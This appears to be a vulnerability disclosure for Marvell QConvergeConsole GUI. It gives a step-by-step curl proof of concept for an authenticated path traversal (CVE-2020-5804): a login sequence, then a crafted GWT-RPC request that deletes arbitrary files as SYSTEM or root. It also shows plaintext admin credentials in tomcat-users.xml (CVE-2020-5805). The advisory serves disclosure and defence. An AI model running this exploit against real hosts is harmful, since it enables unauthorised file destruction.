Marvell QConvergeConsole GUI Multiple Vulnerabilities

CVE-2020-5804: deleteEventLogFile Authenticated Path Traversal to File Deletion

The deleteEventLogFile method of the GWTTestServiceImpl class lacks proper validation of a user-supplied path prior to using it in file deletion operations. An authenticated, remote attacker can leverage this vulnerability to delete arbitrary remote files as SYSTEM or root.

# Get the login form
curl -si http://<qcc_host>:8080/QConvergeConsole/ | grep JSESSIONID
Set-Cookie: JSESSIONID=AA2D3A320A6E5DDA79D884951EE4BAD6; Path=/QConvergeConsole; HttpOnly

# Perform login; 302 = login ok; a new JSESSIONID generated upon successful login
curl -si --cookie 'JSESSIONID=AA2D3A320A6E5DDA79D884951EE4BAD6' -d 'j_username=<correct_username>&j_password=<correct_password>' http://<qcc_host>:8080/QConvergeConsole/j_security_check | egrep '(^HTTP|^Location|^Set-Cookie)'
HTTP/1.1 302 Found
Set-Cookie: JSESSIONID=1D6A756F17976C394F44E321C5E16C3F; Path=/QConvergeConsole; HttpOnly
Set-Cookie: JSESSIONIDSSO=16F56BABA95A9D53AF28DF7AFD952493; Path=/; HttpOnly
Location: /QConvergeConsole/

# Follow redirect using the new JSESSIONID
curl -si --cookie 'JSESSIONID=1D6A756F17976C394F44E321C5E16C3F' http://<qcc_host>:8080/QConvergeConsole/ | grep JSESSIONID

# Exploit deleteEventLogFile path traversal to delete a remote file
curl -si  --cookie 'JSESSIONID=1D6A756F17976C394F44E321C5E16C3F' -H 'Content-Type: text/x-gwt-rpc; charset=UTF-8' -H 'X-GWT-Permutation: deadbeef' -d '7|0|6|http://<qcc_host>:8080/QConvergeConsole/com.qlogic.qms.hba.gwt.Main/|serialization_policy|com.qlogic.qms.hba.gwt.client.GWTTestService|deleteEventLogFile|java.lang.String/2004016611|../../../../../../../../../tmp/delete_me.txt|1|2|3|4|1|5|6|' http://<qcc_host>:8080/QConvergeConsole/com.qlogic.qms.hba.gwt.Main/gwttestservice

CVE-2020-5805: Plaintext QCC credentials in tomcat-users.xml

QCC credentials are stored in cleartext in tomcat-users.xml

<user username="QCC" password="secretpassword123" roles="admin, manager, manager-script, manager-jmx, manager-status, admin-gui, admin-script"/>

OS-level users on the QCC host who are not authorized to use QCC may use the plaintext credentials to login to QCC.